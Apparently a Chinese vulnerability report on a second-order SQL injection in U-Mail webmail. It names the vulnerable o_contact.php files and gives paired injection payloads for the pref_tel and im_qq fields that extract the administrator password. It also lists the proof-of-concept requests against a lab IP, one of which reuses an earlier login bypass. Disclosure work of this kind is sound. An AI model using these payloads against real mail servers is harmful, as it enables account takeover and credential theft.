umail最新版本
win2003标准安装
2个二次注入都是因为同一个问题造成
1、
漏洞文件:/fast/pab/module/o_contact.php
364-388行
重要代码
POST进来的$userids 切割赋值给 $user_arr 进入2个if语句 遍历数组 进入getUserInfoByID()函数
查询出赋值给user_info数组 带入 add_contact
这个跟 WooYun: U-Mail邮件系统二次注入2(无需登录,可批量直接获取管理员密码) getMailboxInfo()这个函数很不一样
这个对应的表是 mailuserinfo 里面的字段username 是不可改变的为初始设置的名字
先看下 操作语句
可以控制的有 pref_tel im_qq im_msn 但其实 im_qq 和 im_msn 值一样的 所以只要 pref_tel im_qq 2个可控
每个变量都不足于出管理员数据 需要2个同时构造才行
pref_tel 构造成 ',`im_qq`=(select/*
im_qq 构造成 */password from userlist limit 1,1)#
最后语句应该是
我真机智!
漏洞证明:
此处可根据之前漏洞可无需登陆即可操作 此处为表达清楚直接登陆操作
先访问 http://192.168.106.137/webmail/fast/index.php?module=operate&action=login
post:mailbox=test@domain.com&link=?
获取认证
登陆修改
访问 http://192.168.106.137/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test
得到userid(此处为3)
在访问 http://192.168.106.137/webmail/fast/pab/index.php?module=operate&action=add-search-contact
post:stype=oab&userids=3 (3为上面操作得到的userid)
最后查看
成功获取管理密码
2、\client\pab\module\o_contact.php
同样的问题 需登陆 此处不证明了吧